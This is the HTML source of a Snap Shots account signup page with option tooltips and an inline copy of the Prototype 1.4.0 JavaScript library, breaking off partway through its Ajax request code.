<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..